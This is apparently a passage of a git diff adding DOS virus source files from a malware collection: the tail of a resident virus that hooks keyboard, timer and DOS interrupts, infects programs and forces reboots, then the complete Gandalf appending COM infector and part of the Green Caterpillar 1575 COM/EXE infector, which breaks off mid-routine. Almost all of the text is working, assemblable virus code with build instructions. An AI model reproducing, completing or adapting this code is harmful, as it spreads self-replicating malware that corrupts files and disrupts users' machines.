+ ADD DX,10H ; Add length of PSP + INT 21H ; DOS service (Keep process) + + ; Interrupt 24H + +BP0090: XOR AL,AL ; Ignore the error + IRET + + ; Interrupt 8 + +BP0100: SUB TCOUNT1,1 ; \ Subtract from timer count + SBB TCOUNT2,0 ; / + JNZ BP0140 ; Branch if not zero + CMP TCOUNT1,0 ; Is low count zero? + JNZ BP0140 ; Branch if not +BP0110: PUSH CS ; \ Set DS to CS + POP DS ; / + MOV AX,3 ; Mode three + INT 10H ; VDU I/O + MOV AH,2 ; Move cursor + MOV BH,0 ; Page zero + MOV DX,0A14H ; Row ten column twenty + INT 10H ; VDU I/O + MOV SI,OFFSET STRNG8 ; Address message +BP0120: LOOP BP0120 ; Delay between characters + LODSB ; Get a character + CMP AL,0 ; Is that the end? + JE BP0130 ; Branch if yes + XOR AL,0AFH ; Decrypt character + MOV AH,14 ; Write in TTY mode + INT 10H ; VDU I/O + JMP BP0120 ; Next character + +BP0130: DB 0EAH ; Far jump to BIOS initialisation + DW 0FFF0H, 0F000H + +BP0140: JMP INT_08 ; Interrupt 8 + + ; Interrupt 9 + + ASSUME DS:RAM +BP0150: PUSH AX + PUSH BX + PUSH DS + XOR AX,AX ; \ Address zero + MOV DS,AX ; / + IN AL,60H ; Get keyboard token + MOV BL,BB0417 ; Get key states + TEST BL,8 ; Alt key depressed? + JZ BP0160 ; Branch if not + TEST BL,4 ; Ctrl key depressed? + JZ BP0160 ; Branch if not + CMP AL,53H ; Del character token? + JNE BP0160 ; Branch if not + AND BL,0F3H ; Set off Alt & Ctrl states + MOV BB0417,BL ; Replace key states + IN AL,61H ; Get Port B + MOV AH,AL ; Save value + OR AL,80H ; Set on keyboard reset bit + OUT 61H,AL ; Output port B + XCHG AL,AH ; Recover original Port B value + OUT 61H,AL ; Output port B + JMP BP0110 ; Message and reboot + +BP0160: POP DS + POP BX + POP AX + JMP INT_09 ; Interrupt 9 + + ; Interrupt 21H + +BP0170: PUSHF + CMP AH,0E1H ; Virus "are you there" call + JNE BP0180 ; Branch if other call + MOV AX,0400H ; Standard "yes" + POPF + IRET + +BP0180: CMP AH,0DDH ; Virus move and execute COM call + JE BP0200 ; Branch if yes + CMP AX,4B00H ; Is it load and execute + JNE BP0190 ; Branch if not + JMP BP0210 ; Process load and execute + +BP0190: POPF + JMP INT_21 ; Interrupt 21H + + ; Move program down and execute (COM only) call + + ASSUME DS:NOTHING +BP0200: POP AX + POP AX ; Retrieve return offset + MOV AX,100H ; Replace with start address + MOV V_RTOF,AX ; Store in return jump + POP AX ; Retrieve return segment + MOV V_RTSG,AX ; Store in return jump + REPZ MOVSB ; Restore program to beginning + POPF + MOV AX,BEGIN ; Start with zero register + JMP VIR_RT ; Start actual program + + ; Process load and execute program + +BP0210: MOV F_HAND,-1 ; No file handle + MOV MEM_SW,0 ; Set off memory allocated switch + MOV FPTHOF,DX ; Save pathname offset + MOV FPTHSG,DS ; Save pathname segment + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH DS + PUSH ES + CLD + MOV DI,DX ; Point to file pathname + XOR DL,DL ; Default drive + CMP BYTE PTR [DI+1],3AH ; Test second character for ':' + JNE BP0220 ; Branch if not + MOV DL,[DI] ; Get drive letter + AND DL,1FH ; Convert to number +BP0220: MOV AH,36H ; Get disk free space + INT 21H ; DOS service (Get disk free) + CMP AX,-1 ; Test for invalid drive + JNE BP0240 ; Branch if not +BP0230: JMP BP0530 ; Terminate + +BP0240: MUL BX ; Calc number of free sectors + MUL CX ; Calc number of free bytes + OR DX,DX ; Test high word of result + JNZ BP0250 ; Branch if not zero + CMP AX,OFFSET ENDADR ; Length of virus + JB BP0230 ; Terminate if less +BP0250: MOV DX,FPTHOF ; Get pathname offset + PUSH DS ; \ Set ES to DS + POP ES ; / + XOR AL,AL ; Test character - zero + MOV CX,41H ; Maximum pathname length + REPNZ SCASB ; Find end of pathname + MOV SI,FPTHOF ; Get pathname offset +BP0260: MOV AL,[SI] ; Get pathname character + OR AL,AL ; Test for a character + JZ BP0280 ; Finish if none + CMP AL,61H ; Test for 'a' + JB BP0270 ; Branch if less + CMP AL,7AH ; Test for 'z' + JA BP0270 ; Branch if above + SUB BYTE PTR [SI],20H ; Convert to uppercase +BP0270: INC SI ; Address next character + JMP BP0260 ; Process next character + +BP0280: MOV CX,0BH ; Load length 11 + SUB SI,CX ; Address back by length + MOV DI,OFFSET COM_CM ; 'COMMAND.COM' + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV CX,0BH ; Load length again + REPZ CMPSB ; Compare + JNE BP0290 ; Continue if not command.com + JMP BP0530 ; Terminate + +BP0290: MOV AX,4300H ; Get file attributes + INT 21H ; DOS service (Get attributes) + JB BP0300 ; Follow chain of error branches + MOV F_ATTS,CX ; Save file attributes +BP0300: JB BP0320 ; Follow chain of error branches + XOR AL,AL ; Scan character - zero + MOV EXE_SW,AL ; Set EXE switch off + PUSH DS ; \ Set ES to DS + POP ES ; / + MOV DI,DX ; Pointer to pathname + MOV CX,41H ; Maximum pathname length + REPNZ SCASB ; Find end of pathname + CMP BYTE PTR [DI-2],4DH ; Is last letter 'M' + JE BP0310 ; Branch if yes + CMP BYTE PTR [DI-2],6DH ; Is last letter 'm' + JE BP0310 ; Branch if yes + INC EXE_SW ; Set EXE switch on +BP0310: MOV AX,3D00H ; Open handle, read only + INT 21H ; DOS service (Open handle) +BP0320: JB BP0330 ; Follow chain of error branches + MOV F_HAND,AX ; Save file handle + MOV BX,AX ; File handle + CMP EXE_SW,0 ; Test EXE switch + JE BP0340 ; Branch if off + + ; Test EXE file for infection + + MOV CX,1CH ; Length of EXE header + MOV DX,OFFSET EXEHED ; .EXE header store + MOV AX,CS ; \ + MOV DS,AX ; ) Make DS & ES same as CS + MOV ES,AX ; / + ASSUME DS:CODE + MOV AH,3FH ; Read handle + INT 21H ; DOS service (Read handle) +BP0330: JB BP0370 ; Follow chain of error branches + CMP EXHD09,1988H ; Negative checksum + JNE BP0360 ; Branch if not infected + JMP BP0350 ; Dont infect + + ASSUME DS:NOTHING +BP0340: MOV AX,4202H ; Move file pointer + MOV CX,-1 ; \ End of file minus 6 + MOV DX,-6 ; / + INT 21H ; DOS service (Move pointer) + JB BP0320 ; Follow chain of error branches + ADD AX,6 ; Total file size + MOV F_SIZE,AX ; Save total file size + MOV CX,6 ; Length to read + MOV DX,OFFSET SIGBUF ; Infection test buffer + MOV AX,CS ; \ + MOV DS,AX ; ) Make DS & ES same as CS + MOV ES,AX ; / + ASSUME DS:CODE + MOV AH,3FH ; Read handle + INT 21H ; DOS service (Read handle) + MOV DI,DX ; Address test buffer + MOV SI,OFFSET VR_SIG ; Signature + REPZ CMPSB ; Compare signatures + JNE BP0360 ; Branch if not infected +BP0350: MOV AH,3EH ; Close handle + INT 21H ; DOS service (Close handle) + JMP BP0530 ; Terminate + +BP0360: MOV AX,3524H ; Get interrupt 24H + INT 21H ; DOS service (Get int) + MOV I24OFF,BX ; Save interrupt 24H offset + MOV I24SEG,ES ; Save interrupt 24H segment + MOV DX,OFFSET BP0090 ; Interrupt 24H routine + MOV AX,2524H ; Set interrupt 24H + INT 21H ; DOS service (Set int) + LDS DX,F_PATH ; Address program pathname + XOR CX,CX ; No attributes + MOV AX,4301H ; Set file attributes + INT 21H ; DOS service (Set attributes) + ASSUME DS:NOTHING +BP0370: JB BP0380 ; Follow chain of error branches + MOV BX,F_HAND ; Get file handle + MOV AH,3EH ; Close handle + INT 21H ; DOS service (Close handle) + MOV F_HAND,-1 ; No file handle + MOV AX,3D02H ; Open handle read/write + INT 21H ; DOS service (Open handle) + JB BP0380 ; Follow chain of error branches + MOV F_HAND,AX ; Save file handle + MOV AX,CS ; \ + MOV DS,AX ; ) Make DS & ES same as CS + MOV ES,AX ; / + ASSUME DS:CODE + MOV BX,F_HAND ; Get file handle + MOV AX,5700H ; Get file date and time + INT 21H ; DOS service (Get file date) + MOV F_DATE,DX ; Save file date + MOV F_TIME,CX ; Save file time + MOV AX,4200H ; Move file pointer + XOR CX,CX ; \ Beginning of file + MOV DX,CX ; / + INT 21H ; DOS service (Move pointer) +BP0380: JB BP0410 ; Follow chain of error branches + CMP EXE_SW,0 ; Test EXE switch + JE BP0390 ; Branch if off + JMP BP0430 ; Process EXE file + + ; .COM file processing + +BP0390: MOV BX,1000H ; 64K of memory wanted + MOV AH,48H ; Allocate memory + INT 21H ; DOS service (Allocate memory) + JNB BP0400 ; Branch if successful + MOV AH,3EH ; Close handle + MOV BX,F_HAND ; Get file handle + INT 21H ; DOS service (Close handle) + JMP BP0530 ; Terminate + +BP0400: INC MEM_SW ; Set on memory allocated switch + MOV ES,AX ; Segment of allocated memory + XOR SI,SI ; Start of virus + MOV DI,SI ; Start of allocated memory + MOV CX,OFFSET ENDADR ; Length of virus + REPZ MOVSB ; Copy virus to allocated + MOV DX,DI ; Address after virus + MOV CX,F_SIZE ; Total file size + MOV BX,F_HAND ; Get file handle + PUSH ES ; \ Set DS to ES + POP DS ; / + MOV AH,3FH ; Read handle + INT 21H ; DOS service (Read handle) +BP0410: JB BP0420 ; Follow chain of error branches + ADD DI,CX ; Add previous file size + XOR CX,CX ; \ Beginning of file + MOV DX,CX ; / + MOV AX,4200H ; Move file pointer + INT 21H ; DOS service (Move pointer) + MOV SI,OFFSET VR_SIG ; Signature + MOV CX,6 ; Length to move + REPZ MOVS [DI],CS:VR_SIG ; Copy signature to end + MOV CX,DI ; Length to write + XOR DX,DX ; Start of allocated + MOV AH,40H ; Write handle + INT 21H ; DOS service (Write handle) +BP0420: JB BP0440 ; Follow chain of error branches + JMP BP0510 ; Free memory and reset values + + ; .EXE file processing + +BP0430: MOV CX,1CH ; Length of EXE header + MOV DX,OFFSET EXEHED ; .EXE header store + MOV AH,3FH ; Read handle + INT 21H ; DOS service (Read handle) +BP0440: JB BP0460 ; Follow chain of error branches + MOV EXHD09,1988H ; Negative checksum + MOV AX,EXHD07 ; \ Store initial stack segment + MOV PRG_SS,AX ; / + MOV AX,EXHD08 ; \ Store initial stack pointer + MOV PRG_SP,AX ; / + MOV AX,EXHD10 ; \ Store initial code offset + MOV PRGOFF,AX ; / + MOV AX,EXHD11 ; \ Store initial code segment + MOV PRGSEG,AX ; / + MOV AX,EXHD02 ; Get size of file in pages + CMP EXHD01,0 ; Number of bytes in last page + JE BP0450 ; Branch if none + DEC AX ; One less page +BP0450: MUL BYTSEC ; Bytes per sector + ADD AX,EXHD01 ; \ Add bytes in last page + ADC DX,0 ; / + ADD AX,0FH ; \ Round up + ADC DX,0 ; / + AND AX,0FFF0H ; Clear bottom figure + MOV F_SIZ1,AX ; Save low-order file size + MOV F_SIZ2,DX ; Save high-order file size + ADD AX,OFFSET ENDADR ; \ Add virus length + ADC DX,0 ; / +BP0460: JB BP0480 ; Follow chain of error branches + DIV BYTSEC ; Bytes per sector + OR DX,DX ; Test odd bytes + JZ BP0470 ; Branch if none + INC AX ; One more page for odd bytes +BP0470: MOV EXHD02,AX ; Store size of file in pages + MOV EXHD01,DX ; Store bytes in last page + MOV AX,F_SIZ1 ; Low-order file size + MOV DX,F_SIZ2 ; High-order file size + DIV PARAGR ; Size of a paragraph + SUB AX,EXHD04 ; Size of header in paragraphs + MOV EXHD11,AX ; Initial code segment + MOV EXHD10,OFFSET BP0030 ; Initial code offset + MOV EXHD07,AX ; Initial stack segment + MOV EXHD08,OFFSET ENDADR ; Initial stack pointer + XOR CX,CX ; \ Beginning of file + MOV DX,CX ; / + MOV AX,4200H ; Move file pointer + INT 21H ; DOS service (Move pointer) +BP0480: JB BP0490 ; Follow chain of error branches + MOV CX,1CH ; Length of EXE header + MOV DX,OFFSET EXEHED ; .EXE header store + MOV AH,40H ; Write handle + INT 21H ; DOS service (Write handle) +BP0490: JB BP0500 ; Follow chain of error branches + CMP AX,CX ; Has same length been written + JNE BP0510 ; Branch if not + MOV DX,F_SIZ1 ; Low-order file size + MOV CX,F_SIZ2 ; High-order file size + MOV AX,4200H ; Move file pointer + INT 21H ; DOS service (Move pointer) +BP0500: JB BP0510 ; Follow chain of error branches + XOR DX,DX ; Address beginning of virus + MOV CX,OFFSET ENDADR ; Length of virus + MOV AH,40H ; Write handle + INT 21H ; DOS service (Write handle) + ASSUME DS:NOTHING +BP0510: CMP MEM_SW,0 ; Test memory allocated switch + JE BP0520 ; Branch if off + MOV AH,49H ; Free allocated memory + INT 21H ; DOS service (Free memory) +BP0520: CMP F_HAND,-1 ; Test file handle + JE BP0530 ; Terminate if none + MOV BX,F_HAND ; Get file handle + MOV DX,F_DATE ; Get file date + MOV CX,F_TIME ; Get file time + MOV AX,5701H ; Set file date and time + INT 21H ; DOS service (Set file date) + MOV AH,3EH ; Close handle + INT 21H ; DOS service (Close handle) + LDS DX,F_PATH ; Address program pathname + MOV CX,F_ATTS ; Load file attributes + MOV AX,4301H ; Set file attributes + INT 21H ; DOS service (Set attributes) + LDS DX,INT_24 ; Original interrupt 24H address + MOV AX,2524H ; Set interrupt 24H + INT 21H ; DOS service (Set int) +BP0530: POP ES + POP DS + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POPF + JMP INT_21 ; Interrupt 21H + + ; Interrupt 16H routine + +BP0540: PUSHF ; Fake an interrupt + CMP AH,0 ; Get a token function? + JE BP0550 ; Branch if yes + POPF ; Fake interrupt not needed + JMP INT_16 ; Pass on to original interrupt + +BP0550: CALL INT_16 ; Deal with original interrupt + PUSH AX + PUSH BX + PUSH DI + PUSH DS + PUSH ES + PUSH CS ; \ Set DS to CS + POP DS ; / + XOR BX,BX ; \ Set ES to zero + MOV ES,BX ; / + ASSUME DS:CODE,ES:RAM + CMP OUT_SW,0 ; Is output switch on? + JNE BP0630 ; Branch if yes + OR AL,20H ; Convert to lower case + XOR AL,0AFH ; Decrypt character + MOV DI,OFFSET TABLE ; Address first entry +BP0560: CMP BYTE PTR [DI],0 ; Is this the end of the table? + JE BP0590 ; Branch if yes + XOR BX,BX ; Clear register + MOV BL,[DI+1] ; Get current character pointer + ADD BX,[DI+2] ; Add current entry pointer + CMP AL,[BX] ; Is character the one we want? + JE BP0570 ; Branch if yes + MOV BYTE PTR [DI+1],0 ; Clear character pointer + JMP BP0580 + +BP0570: INC BYTE PTR [DI+1] +BP0580: ADD DI,4 ; Next entry + JMP BP0560 ; Process next entry + +BP0590: MOV DI,OFFSET TABLE ; Address first entry +BP0600: CMP BYTE PTR [DI],0 ; Is this the end of the table? + JE BP0610 ; Branch if yes + MOV AL,[DI+1] ; Get current character pointer + CMP AL,[DI] ; Do we have a complete match? + JNE BP0620 ; Branch if not + MOV TABOUT,DI ; Save relevant pointer + INC OUT_SW ; Set on output switch + MOV AX,40H ; \ Address RAM + MOV ES,AX ; / + ASSUME ES:RAM40 + MOV AX,BW041A ; Get key token in pointer + MOV BW041C,AX ; Set key token out pointer + CALL BP0640 ; Put a character into the buffer +BP0610: POP ES + POP DS + POP DI + POP BX + POP AX + IRET + +BP0620: ADD DI,4 ; Next entry + JMP BP0600 ; Process next entry + +BP0630: MOV AX,40H ; \ Address RAM + MOV ES,AX ; / + CALL BP0640 ; Put a character into the buffer + XOR BX,BX ; Clear register + MOV BL,[DI+1] ; Get current character pointer + ADD BX,[DI+2] ; Add entry pointer + CMP BYTE PTR [BX],0 ; Was that the last character? + JNE BP0610 ; Branch if not + MOV OUT_SW,0 ; Set off output switch + JMP BP0610 + +BP0640: MOV DI,TABOUT ; Address relevant table entry + XOR BX,BX ; Clear register + MOV BL,[DI+1] ; Get current character pointer + ADD BX,[DI+2] ; Add entry pointer + MOV AL,[BX] ; Get the character + XOR AL,0AFH ; Decrypt character + INC BYTE PTR [DI+1] ; Next character + MOV AH,AL ; Copy for translate + MOV BX,OFFSET KEYTAB ; Address key number table + XLAT ; Get key number + XCHG AH,AL ; Reserve order + MOV BX,BW041C ; Get key token out pointer + MOV ES:[BX],AX ; Put key token into buffer + INC BX ; \ Next buffer position + INC BX ; / + CMP BX,BW0482 ; Passed end of buffer? + JNE BP0650 ; Branch if not + MOV BX,BW0480 ; Get buffer start +BP0650: MOV BW041C,BX ; Save new key token out pointer + RET + + ; Stack area - This is also necessary to make the virus a complete + ; number of paragraphs + + DB 04CH, 002H, 0AAH, 031H, 09EH, 002H, 0A5H, 031H + +ENDADR EQU $ + +CODE ENDS + + END START +ete + ; number of paragraphs + + DB 04CH, +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/g/GANDALF.ASM b/g/GANDALF.ASM new file mode 100755 index 0000000..4672187 --- /dev/null +++ b/g/GANDALF.ASM @@ -0,0 +1,202 @@ +; Virus generated by G 0.70 +; G written by Dark Angel of Phalcon/Skism + +; File: GANDALF.ASM +; Gandalf by Ender + + + .model tiny + .code + +; Assemble with: +; TASM /m3 filename.ASM +; TLINK /t filename.OBJ + org 0100h + +carrier: + db 0E9h,0,0 ; jmp start + +start: + call next +next: + pop bp + sub bp, offset next + + mov ah, 0047h ; Get directory + lea si, [bp+offset origdir+1] + cwd ; Default drive + int 0021h + + lea dx, [bp+offset newDTA] + mov ah, 001Ah ; Set DTA + int 0021h + + mov ax, 3524h + int 0021h + push es + push bx + + lea dx, [bp+INT24] ; ASSumes ds=cs + mov ax, 2524h + int 0021h + + push cs + pop es + +restore_COM: + mov di, 0100h + push di + lea si, [bp+offset old3] + movsb + movsw + + mov byte ptr [bp+numinfect], 0000h +traverse_loop: + lea dx, [bp+offset COMmask] + call infect + cmp [bp+numinfect], 0007h + jae exit_traverse ; exit if enough infected + + mov ah, 003Bh ; CHDIR + lea dx, [bp+offset dot_dot] ; go to previous dir + int 0021h + jnc traverse_loop ; loop if no error + +exit_traverse: + + lea si, [bp+offset origdir] + mov byte ptr [si], '\' + mov ah, 003Bh ; restore directory + xchg dx, si + int 0021h + + pop dx + pop ds + mov ax, 2524h + int 0021h + + + mov dx, 0080h ; in the PSP + mov ah, 001Ah ; restore DTA to default + int 0021h + +return: + ret + +old3 db 0cdh,20h,0 + +INT24: + mov al, 0003h + iret + +infect: + mov cx, 0007h ; all files + mov ah, 004Eh ; find first +findfirstnext: + int 0021h + jc return + mov ax, 4300h + lea dx, [bp+newDTA+30] + int 0021h + jc return + push cx + push dx + + mov ax, 4301h ; clear file attributes + push ax ; save for later use + xor cx, cx + int 0021h + + mov ax, 3D02h + lea dx, [bp+newDTA+30] + int 0021h + mov bx, ax ; xchg ax,bx is more efficient + + mov ax, 5700h ; get file time/date + int 0021h + push cx + push dx + + mov ah, 003Fh + mov cx, 001Ah + lea dx, [bp+offset readbuffer] + int 0021h + + mov ax, 4202h + xor cx, cx + cwd + int 0021h + + cmp word ptr [bp+offset readbuffer], 'ZM' + jz jmp_close + mov cx, word ptr [bp+offset readbuffer+1] ; jmp location + add cx, heap-start+3 ; convert to filesize + cmp ax, cx ; equal if already infected + jl skipp +jmp_close: + jmp close +skipp: + + cmp ax, 65535-(endheap-start) ; check if too large + ja jmp_close ; Exit if so + + cmp ax, (heap-start) ; check if too small + jb jmp_close ; Exit if so + + lea si, [bp+offset readbuffer] + lea di, [bp+offset old3] + movsb + movsw + + sub ax, 0003h + mov word ptr [bp+offset readbuffer+1], ax + mov dl, 00E9h + mov byte ptr [bp+offset readbuffer], dl + lea dx, [bp+offset start] + mov ah, 0040h ; concatenate virus + mov cx, heap-start + int 0021h + + xor cx, cx + mov ax, 4200h + xor dx, dx + int 0021h + + + mov cx, 0003h + lea dx, [bp+offset readbuffer] + mov ah, 0040h + int 0021h + + inc [bp+numinfect] + +close: + mov ax, 5701h ; restore file time/date + pop dx + pop cx + int 0021h + + mov ah, 003Eh + int 0021h + + pop ax ; restore file attributes + pop dx ; get filename and + pop cx ; attributes from stack + int 0021h + + mov ah, 004Fh ; find next + jmp findfirstnext + +signature db '[PS/G]',0 ; Phalcon/Skism G +creator db 'Ender',0 +virusname db 'Gandalf',0 +COMmask db '*.COM',0 +dot_dot db '..',0 + +heap: +newDTA db 43 dup (?) +origdir db 65 dup (?) +numinfect db ? +readbuffer db 1ah dup (?) +endheap: + end carrier diff --git a/g/GC1575A.ASM b/g/GC1575A.ASM new file mode 100755 index 0000000..2b61bab --- /dev/null +++ b/g/GC1575A.ASM @@ -0,0 +1,929 @@ +; Green_Caterpillar.1575.A +; TASM /M + + +seg000 segment byte public 'CODE' + assume cs:seg000 + org 100h + assume es:nothing, ss:nothing, ds:seg000 + +start proc near + jmp short RealStart + db 90h +Int21Ofs dw 0 +Int21Seg dw 0 +Int1COfs dw 0 +Int1CSeg dw 0 +exeHeader dw 20CDh +exeMOD dw 9090h +exeDIV dw 0 +exeNumSeg dw 0 +exeHeadSize dw 0 +exeMinPara dw 0 +exeMaxPara dw 0 +exeSS dw 0 +exeSP dw 0 +exeCheckSum dw 0 +exeIP dw 0 +exeCS dw 0 +StartCS dw 0 +StartIP dw 0 +FileSizeHW dw 0 +FileSizeLW dw 0 +StoreSS dw 0 +DTAOffset dw 0 +DTASegment dw 0 +StartSS dw 0 +StoreBP dw 0 +StoreES dw 0 +Int24Seg dw 0 +Int24Ofs dw 0 +GenCounter db 16 +byte_0_13C db 7, 57h, 75h, 2, 5Ch, 7, 70h, 0, 16h, 0, 0BFh, 0Bh, 5Ch, 7, 70h, 0 + +RealStart: + push es + push ds + mov ax, es + push cs + pop ds ; DS = CS + push cs + pop es ; ES = CS + assume es:seg000 + mov StoreES, ax + mov ax, ss + mov StoreSS, ax + mov al, 2 + out 20h, al ; Interrupt controller, 8259A. + cld + xor ax, ax + mov ds, ax ; DS points to IVT + assume ds:nothing + xor si, si + mov di, 13Ch + mov cx, 16 + repne movsb + push ds + pop ss ; SS = DS + assume ss:nothing + mov bp, 8 + xchg bp, sp + call near ptr sub_0_1C5 + jmp StoreFilename +start endp + +FixupInts: + call GetInt24Vecs + call CheckInfection + jz AlreadyInf ; Infected Already? Then JMP. + mov al, ds:FileType + push ax + call InfectCOM + pop ax + mov ds:FileType, al + jmp short RestoreFile + nop + +AlreadyInf: + call GetIntVectors + call CheckForInstall + cmp ds:FileType, 0 ; No File Type? + jnz RestoreFile ; No? Then JMP. + mov ax, 4C00h + int 21h ; Exit To DOS + +RestoreFile: ; COM File? + cmp ds:FileType, 'C' + jnz RestoreEXE ; No? Then JMP. + +RestoreCOM: + pop ds + assume ds:seg000 + pop es + assume es:nothing + push cs + pop ds ; DS = CS + pop es + push es + mov di, offset start + mov si, offset exeHeader + mov cx, 12 + repne movsb ; Restore Original 12 Bytes + push es + pop ds ; DS = ES + mov ax, offset start + push ax + xor ax, ax + retf ; Return to Original COM Program + +sub_0_1C5 proc far + mov si, 6 + lodsw + cmp ax, 192h + jz RestoreCOM + cmp ax, 179h + jnz loc_0_1D6 + jmp loc_0_27F + +loc_0_1D6: + cmp ax, 1DCh + jz RestoreEXE + retn + +RestoreEXE: + pop ds + pop es + mov bx, cs:exeSS + sub bx, cs:StartSS + mov ax, cs + sub ax, bx + mov ss, ax + assume ss:nothing + mov bp, cs:StoreBP + xchg bp, sp + mov bx, cs:exeCS + sub bx, cs:StartCS + mov ax, cs + sub ax, bx + push ax + mov ax, cs:StartIP + push ax + retf +sub_0_1C5 endp + +Caterpillar db '#' + db 1Ah + db '<' + db '#' + db '/' + db '-' + db '-' + db '!' + db '.' + db '$' + db 0Eh + db '#' + db '/' + db '-' + db '' +FileName db 'A:10KBYTE.EXE',0 + db 0 ; + db 24h ; $ + db 24h ; $ + db 24h ; $ + db 24h ; $ + db 24h ; $ + +CheckInfection proc near + mov ax, 3D02h + mov dx, offset FileName + int 21h ; Open File + jnb CheckOpened ; No problems? Then JMP. + clc + retn + +CheckOpened: + mov StoreSS, ax + mov dx, offset NewInt24 + mov ax, 2524h + int 21h ; Set New Int 24h Vectors + mov ax, 4202h + mov bx, StoreSS + mov cx, 0FFFFh + mov dx, 0FFFEh + int 21h ; Move Pointer to End of File - 1 + mov dx, offset CheckBytes + mov ah, 3Fh + mov bx, StoreSS + mov cx, 2 + int 21h ; Read In 2 Bytes + mov ah, 3Eh + int 21h ; Close File + push ds + mov dx, Int24Ofs + mov ax, Int24Seg + mov ds, ax + mov ax, 2524h + int 21h ; Restore Int 24h Vectors + pop ds + cmp CheckBytes, 0A0Ch ; Infected Already? + clc + retn +CheckInfection endp + +CheckBytes dw 0 + +loc_0_27F: + cmp ax, 22Dh + jz InfectCOM + push ds + pop es ; ES = DS + assume es:seg000 + push cs + pop ds ; DS = CS + mov ax, StoreSS + mov ss, ax ; SS = SS + assume ss:nothing + xchg bp, sp + mov si, offset byte_0_13C + mov di, 0 + mov cx, 16 + cld + repne movsb + jmp FixupInts + +InfectCOM proc near + mov al, 'C' + mov FileType, al + mov al, 8 + out 70h, al ; CMOS Memory: + ; used by real-time clock + in al, 71h ; CMOS Memory + mov GenCounter, al + mov dx, offset FileName + mov ax, 3D02h + int 21h ; Open File + jnb COMOpened ; No problems? Then JMP. + retn + +COMOpened: ; Store Handle + mov StoreSS, ax + mov dx, offset exeHeader + mov bx, StoreSS + mov cx, 12 + mov ah, 3Fh + int 21h ; Read In 12 Bytes From File + mov ax, 4202h + xor cx, cx + xor dx, dx + int 21h ; Move Pointer to End of File + push ax + add ax, 10h + and ax, 0FFF0h + push ax + shr ax, 1 + shr ax, 1 + shr ax, 1 + shr ax, 1 ; Fix For Segment Size + mov di, offset VirusFixedSeg + stosw ; Store Segment Value + pop ax + pop bx + sub ax, bx + mov cx, 1575 + add cx, ax + mov dx, offset start + sub dx, ax + mov bx, StoreSS + mov ah, 40h + int 21h ; Write Virus to File + mov ax, 4200h + xor cx, cx + xor dx, dx + int 21h ; Move Pointer to Beginning of File + mov ah, 40h + mov bx, StoreSS + mov cx, 12 + mov dx, offset COMHeader + int 21h ; Write COM Header to File + mov ah, 3Eh + mov bx, StoreSS + int 21h ; Close File + retn +InfectCOM endp + +COMHeader: + push cs + mov ax, cs +PUSHOffset db 5 +VirusFixedSeg dw 0 ; PUSH Fixed Segment + push ax + mov ax, offset start + push ax + retf + +InfectEXE proc near + mov al, 'E' + mov FileType, al + mov al, 8 + out 70h, al ; CMOS Memory: + ; used by real-time clock + in al, 71h ; CMOS Memory + mov GenCounter, al + mov dx, offset FileName + mov ax, 3D02h + int 21h ; Open EXE File + jnb EXEOpened ; No problems? Then JMP. + retn + +EXEOpened: + mov StoreSS, ax + mov dx, offset exeHeader + mov bx, StoreSS + mov cx, 24 + mov ah, 3Fh + int 21h ; Read In 24 Bytes + mov ax, 4202h + mov cx, 0 + mov dx, 0 + int 21h ; Move pointer to End of File + push ax + add ax, 10h + adc dx, 0 + and ax, 0FFF0h + mov FileSizeHW, dx + mov FileSizeLW, ax + mov cx, 1831 + sub cx, 100h + add ax, cx + adc dx, 0 + mov cx, 512 + div cx + inc ax + mov exeDIV, ax + mov exeMOD, dx + mov ax, exeCS + mov StartCS, ax + mov ax, exeIP + mov StartIP, ax + mov ax, exeSS + mov StartSS, ax + mov ax, exeSP + mov StoreBP, ax + mov dx, FileSizeHW + mov ax, FileSizeLW + mov cx, 10h + div cx + sub ax, 10h + sub ax, exeHeadSize + mov exeCS, ax + mov exeSS, ax + mov exeIP, 100h + mov exeSP, 100h + mov ax, 4200h + xor cx, cx + mov dx, 2 + int 21h ; Move Pointer to Beginning + 2 + mov dx, offset exeMOD + mov bx, StoreSS + mov cx, 22 + mov ah, 40h + int 21h ; Write New EXE Header + mov ax, 4202h + xor cx, cx + xor dx, dx + int 21h ; Move Pointer to End Of File + mov dx, 100h + mov ax, FileSizeLW + pop cx + sub ax, cx + sub dx, ax + mov cx, 1831 + add cx, ax + sub cx, 100h + mov ah, 40h + int 21h ; Write Virus To File + mov ah, 3Eh + int 21h ; Close File + retn +InfectEXE endp + +FindFirstFile: + push cx + mov cx, 0 + mov ah, 4Eh + int 21h ; Find First File + pop cx + retn + +GetIntVectors proc near + push es + mov ax, 351Ch + int 21h ; Get Int 1Ch Vectors + mov cs:Int1COfs, bx + mov cs:Int1CSeg, es + mov ax, 3521h + int 21h ; Get Int 21h Vectors + push es + pop ax + mov cs:Int21Seg, ax + mov cs:Int21Ofs, bx + pop es + assume es:nothing + retn +GetIntVectors endp + +CheckForInstall proc near + push ax + push es + push ds + xor ax, ax + mov es, ax ; ES points to IVT + assume es:nothing + mov si, 86h + mov ax, es:[si] ; Get Int 21h Segment + mov ds, ax + mov si, offset InfMarker + cmp word ptr [si], 0A0Ch ; In Memory Already? + jnz InstallVirus ; No? Then JMP. + push ds + pop ax + call sub_0_601 + pop ds + pop es + assume es:nothing + pop ax + retn + +InstallVirus: + push cs + pop ds + mov ax, StoreES + dec ax + mov es, ax ; ES points to MCB + cmp byte ptr es:0, 'Z' ; Last MCB? + jz GotLastMCB ; Yes? Then JMP. + jmp short NotLastMCB + nop + +GotLastMCB: ; Get Amount of Memory in MCB + mov ax, es:3 +CheckForInstall endp + + mov cx, 1847 + shr cx, 1 + shr cx, 1 + shr cx, 1 + shr cx, 1 ; Calculate Paragraphs + sub ax, cx ; Subtract 1847 Bytes + jb NotLastMCB ; Enough Memory? No? Then JMP. + mov es:3, ax ; Set New Amount of Memory in MCB + sub es:12h, cx ; Set Next Segment Value + push cs + pop ds ; DS = CS + mov ax, es:12h + push ax + pop es ; ES points to Virus Segment + mov si, offset start + push si + pop di + mov cx, 1575 + cld + repne movsb ; Copy Virus Into Memory + push es + sub ax, ax + mov es, ax ; ES points to IVT + assume es:nothing + mov si, 84h + mov dx, offset NewInt21 + mov es:[si], dx ; Set New Int 21h Offset + inc si + inc si + pop ax + mov es:[si], ax ; Set New Int 21h Segment + +NotLastMCB: + pop ds + pop es + assume es:nothing + pop ax + retn + +NewInt21: ; Virus Calling? + cmp al, 57h 